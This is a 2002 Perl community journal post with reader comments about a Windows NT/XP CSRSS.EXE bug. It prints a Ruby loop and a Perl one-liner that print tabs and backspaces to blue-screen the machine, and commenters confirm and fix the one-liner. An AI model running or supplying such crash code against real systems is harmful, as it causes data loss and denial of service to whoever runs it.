Stories
Slash Boxes
Comments
NOTE: use Perl; is on undef hiatus. You can read content, but you can't post it. More info will be forthcoming forthcomingly.

All the Perl that's Practical to Extract and Report

use Perl Log In

Log In

[ Create a new account ]

jjohn (22)

jjohn
  (email not shown publicly)
http://taskboy.com/
AOL IM: taskboy3000 (Add Buddy, Send Message)

Perl hack/Linux buff/OSS junkie.

Journal of jjohn (22)

Friday August 23, 2002
07:38 AM

I can blue screen NT in 1 line

[ #7259 ]

"I hate windows!"

"Bill Gates sux0rz!"

"Not going to pay the Microshaft tax!"

It is popular to hate Microsoft products these days. Some claim that their hard feelings are rooted in the monopolistic practices of Microsoft. Some cite the instability in the OS as a reason for ire. Still others believe that Bill Gates is the Devil himself. For all the talk, what are you doing to get back at Microsoft?

The Summer 2002 edition of 2600 magazine provides some tips.

Many (all?) NT derived systems run a program called CSRSS.EXE that controls terminal screens. Any program that spews text to STDOUT uses this programming. Someone discovered an awesome bug in this program that allows the following program to blue screen an NT box.

while 1
   print("hungup\t\b\b\b\b\b\b");
end

This bit of Ruby code exploits CSRSS.EXE's poor handling of backspaces following tab characters. Since this cries out for a Perl one-liner:

perl -e 'while(1){ print "hungup\t\b\b\b\b\b\b" }'

I have verified that this will take down my XP machine. And, it felt good.

Lest someone mistake me for a terrorist, I'm only advocating destruction of your personal property. I am, however, advocating extreme abuse of your personal property. Have fun.

Update: Jordan corrected my foolish one-liner bug.

The Fine Print: The following comments are owned by whoever posted them. We are not responsible for them in any way.
 Full
 Abbreviated
 Hidden
More | Login | Reply
Loading... please wait.
  • Crashes W2K! (Score:2, Informative)

    I just crashed my own computer!

    I'm using cygwin Perl and interestingly, it doesn't crash it when run under cygwin bash, but does when run under the old command.com/MSDOS prompt. Cygwin bash must not use the offending module for output, or does something else that prevents the problem.

    One correction. I think you meant:

    perl -e 'while(1){print "\b\t\t\t\t\t\t"}'

    'for(1)' doesn't loop, which seems to be required.
    The above actually doesn't work either under command.com because of a quoting problem, but:

    • 'for(1)' doesn't loop, which seems to be required. The above actually doesn't work either under command.com because of a quoting problem, but:

      stot's it sapricely! Er, that's it precisely! I'll make the change now.

    • I think you meant:

      perl -e 'while(1){print "\b\t\t\t\t\t\t"}'

      'for(1)' doesn't loop, which seems to be required.

      Indeed, 'for(1)' goes through the loop only once. But 'for(;;)' loops forever.